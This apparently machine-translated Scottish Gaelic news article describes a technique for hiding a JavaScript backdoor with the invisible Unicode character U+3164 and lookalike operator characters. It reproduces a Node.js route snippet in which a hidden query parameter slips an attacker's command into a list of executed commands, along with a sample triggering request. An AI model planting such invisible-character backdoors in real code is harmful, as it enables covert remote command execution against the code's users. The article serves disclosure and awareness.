A’ cleachdadh charactaran unicode neo-fhaicsinneach gus gnìomhan ann an còd JavaScript fhalach

Às deidh modh ionnsaigh Trojan Source stèidhichte air cleachdadh charactaran Unicode a dh ’atharraicheas òrdugh taisbeanaidh teacsa dà-thaobhach, chaidh innleachd eile airson gnìomhan falaichte a thoirt a-steach fhoillseachadh, a’ buntainn ri còd JavaScript. Tha an dòigh ùr stèidhichte air cleachdadh a 'charactar Unicode "ㅤ" (còd 0x3164, "HANGUL FILLER"), a tha na litir ach aig nach eil susbaint follaiseach. Chaidh an roinn Unicode dham buin an caractar seo a cheadachadh bho shònrachadh ECMAScript 2015 airson a chleachdadh ann an ainmean caochlaideach JavaScript, a tha ga dhèanamh comasach caochladairean neo-fhaicsinneach no caochladairean ùra a chruthachadh nach gabh aithneachadh bho chaochladairean eile ann an luchd-deasachaidh còd mòr-chòrdte leithid Notepad ++ agus Còd VS.

Mar eisimpleir, tha an còd airson an àrd-ùrlar Node.js air a thoirt seachad, anns a bheil, le bhith a’ cleachdadh caochladair anns a bheil aon charactar “ㅤ”, cùl-raon falaichte a leigeas leat an còd a shònraich an neach-ionnsaigh a chuir an gnìomh: app.get( '/network_health', async (req, res) => {const { timeout, ㅤ} = req.query; // gu dearbh ag ràdh "const { timeout, ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/', ㅤ // cromag air a leantainn le \u3164 ];

Aig a’ chiad sealladh, chan eil ach an luach ùine air a dhol tron ​​​​pharamadair taobh a-muigh, agus tha liosta stèidhichte gun chron anns an raon leis na h-òrdughan a thèid a chuir an gnìomh. Ach gu dearbh, às deidh an caochladair ùine, tha luach caochladair neo-fhaicsinneach eile leis a’ chòd samhla \u3164 air a shònrachadh, a tha cuideachd air a chuir a-steach don raon de òrdughan so-ghnìomhaichte. Mar sin, an làthair an leithid de structar, faodaidh neach-ionnsaigh iarrtas mar “https://host: 8080/network_health?%E3%85%A4=command” a chuir a-steach gus an backdoor a chuir an gnìomh agus a chòd a chuir an gnìomh.

Mar eisimpleir eile, tha an caractar “ǃ” (ALVEOLAR CLICK) air a thoirt seachad, a dh’ fhaodar a chleachdadh gus coltas comharra exclamation a chomharrachadh. Mar eisimpleir, bidh an abairt “if (environmentǃ=ENV_PROD){” nuair a thèid a chur gu bàs ann an Node.js 14 an-còmhnaidh fìor, leis nach eil e a’ sgrùdadh airson eadar-dhealachaidhean, ach a’ suidheachadh an caochladair “àrainneachdǃ” gu ENV_PROD. Am measg nan caractaran unicode meallta tha “/”, “−”, “+”, “⩵”, “❨”, “⫽”, “꓿”, agus “∗”.

Source: fosgailtenet.ru

Cuir beachd ann